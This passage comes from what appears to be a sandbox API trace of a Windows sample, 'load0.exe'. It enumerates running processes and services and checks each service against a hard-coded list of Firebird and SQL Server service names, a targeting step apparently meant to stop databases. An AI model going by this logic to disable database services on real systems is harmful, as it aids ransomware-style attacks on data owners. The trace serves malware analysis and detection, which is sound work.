th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.835] lstrlenW (lpString="explorer.exe") returned 12 [0270.835] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.836] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0270.836] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.837] lstrlenW (lpString="SearchUI.exe") returned 12 [0270.837] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.837] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0270.837] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.838] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0270.838] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0270.839] lstrlenW (lpString="load0.exe") returned 9 [0270.839] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0270.840] lstrlenW (lpString="dllhost.exe") returned 11 [0270.840] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0270.841] lstrlenW (lpString="load0.exe") returned 9 [0270.841] Process32NextW (in: hSnapshot=0xff8, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0270.842] CloseHandle (hObject=0xff8) returned 1 [0270.842] Sleep (dwMilliseconds=0x1f4) [0271.448] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f647f8 [0271.449] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0271.449] GetLastError () returned 0xea [0271.449] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x6e07d8 [0271.449] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e07d8, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e07d8, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0271.450] CloseServiceHandle (hSCObject=0x3f647f8) returned 1 [0271.451] lstrlenW (lpString="Appinfo") returned 7 [0271.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0271.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0271.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0271.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0271.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0271.451] lstrlenW (lpString="AppXSvc") returned 7 [0271.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0271.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0271.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0271.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0271.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0271.451] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0271.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0271.451] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0271.451] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0271.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0271.451] lstrlenW (lpString="Audiosrv") returned 8 [0271.451] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0271.451] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0271.451] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0271.451] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0271.451] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0271.451] lstrlenW (lpString="BFE") returned 3 [0271.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0271.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0271.452] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0271.452] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0271.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0271.452] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0271.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0271.452] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0271.452] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0271.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0271.452] lstrlenW (lpString="CDPSvc") returned 6 [0271.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0271.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0271.452] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0271.452] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0271.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0271.452] lstrlenW (lpString="ClickToRunSvc") returned 13 [0271.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0271.452] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0271.452] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0271.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0271.452] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0271.452] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0271.452] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0271.452] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0271.452] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0271.452] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0271.453] lstrlenW (lpString="CryptSvc") returned 8 [0271.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0271.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0271.453] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0271.453] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0271.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0271.453] lstrlenW (lpString="DcomLaunch") returned 10 [0271.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0271.453] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0271.453] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0271.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0271.453] lstrlenW (lpString="DeviceAssociationService") returned 24 [0271.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0271.453] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0271.453] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0271.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0271.453] lstrlenW (lpString="Dhcp") returned 4 [0271.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0271.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0271.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0271.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0271.453] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0271.453] lstrlenW (lpString="Dnscache") returned 8 [0271.453] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0271.453] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0271.453] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0271.453] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0271.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0271.454] lstrlenW (lpString="DPS") returned 3 [0271.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0271.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0271.454] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0271.454] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0271.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0271.454] lstrlenW (lpString="DusmSvc") returned 7 [0271.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0271.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0271.454] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0271.454] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0271.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0271.454] lstrlenW (lpString="EventLog") returned 8 [0271.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0271.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0271.454] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0271.454] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0271.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0271.454] lstrlenW (lpString="EventSystem") returned 11 [0271.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0271.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0271.454] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0271.454] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0271.454] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0271.454] lstrlenW (lpString="FontCache") returned 9 [0271.454] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0271.454] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0271.454] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0271.455] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0271.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0271.455] lstrlenW (lpString="gpsvc") returned 5 [0271.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0271.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0271.455] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0271.455] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0271.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0271.455] lstrlenW (lpString="iphlpsvc") returned 8 [0271.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0271.455] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0271.455] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0271.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0271.455] lstrlenW (lpString="KeyIso") returned 6 [0271.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0271.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0271.455] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0271.455] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0271.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0271.455] lstrlenW (lpString="LanmanServer") returned 12 [0271.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0271.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0271.455] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0271.455] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0271.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0271.455] lstrlenW (lpString="LanmanWorkstation") returned 17 [0271.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0271.456] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0271.456] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0271.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0271.456] lstrlenW (lpString="lfsvc") returned 5 [0271.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0271.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0271.456] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0271.456] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0271.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0271.456] lstrlenW (lpString="lmhosts") returned 7 [0271.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0271.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0271.456] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0271.456] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0271.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0271.456] lstrlenW (lpString="LSM") returned 3 [0271.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0271.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0271.456] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0271.456] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0271.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0271.456] lstrlenW (lpString="MpsSvc") returned 6 [0271.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0271.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0271.456] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0271.456] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0271.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0271.456] lstrlenW (lpString="NcbService") returned 10 [0271.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0271.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0271.457] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0271.457] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0271.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0271.457] lstrlenW (lpString="netprofm") returned 8 [0271.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0271.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0271.457] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0271.457] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0271.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0271.457] lstrlenW (lpString="NgcSvc") returned 6 [0271.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0271.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0271.457] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0271.457] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0271.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0271.457] lstrlenW (lpString="NlaSvc") returned 6 [0271.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0271.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0271.457] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0271.457] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0271.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0271.457] lstrlenW (lpString="nsi") returned 3 [0271.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0271.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0271.457] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0271.457] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0271.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0271.458] lstrlenW (lpString="PcaSvc") returned 6 [0271.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0271.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0271.458] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0271.458] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0271.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0271.458] lstrlenW (lpString="PlugPlay") returned 8 [0271.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0271.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0271.458] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0271.458] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0271.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0271.458] lstrlenW (lpString="Power") returned 5 [0271.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0271.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0271.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0271.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0271.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0271.458] lstrlenW (lpString="ProfSvc") returned 7 [0271.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0271.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0271.458] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0271.458] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0271.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0271.458] lstrlenW (lpString="RpcEptMapper") returned 12 [0271.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0271.458] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0271.458] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0271.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0271.458] lstrlenW (lpString="RpcSs") returned 5 [0271.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0271.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0271.458] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0271.458] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0271.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0271.459] lstrlenW (lpString="SamSs") returned 5 [0271.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0271.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0271.459] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0271.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0271.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0271.459] lstrlenW (lpString="Schedule") returned 8 [0271.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0271.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0271.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0271.459] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0271.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0271.459] lstrlenW (lpString="SecurityHealthService") returned 21 [0271.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0271.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0271.459] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0271.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0271.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0271.459] lstrlenW (lpString="SENS") returned 4 [0271.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0271.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0271.459] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0271.459] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0271.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0271.459] lstrlenW (lpString="ShellHWDetection") returned 16 [0271.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0271.459] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0271.459] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0271.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0271.459] lstrlenW (lpString="Spooler") returned 7 [0271.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0271.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0271.459] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0271.459] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0271.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0271.459] lstrlenW (lpString="StateRepository") returned 15 [0271.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0271.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0271.460] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0271.460] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0271.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0271.460] lstrlenW (lpString="SysMain") returned 7 [0271.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0271.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0271.460] lstrcmpiW 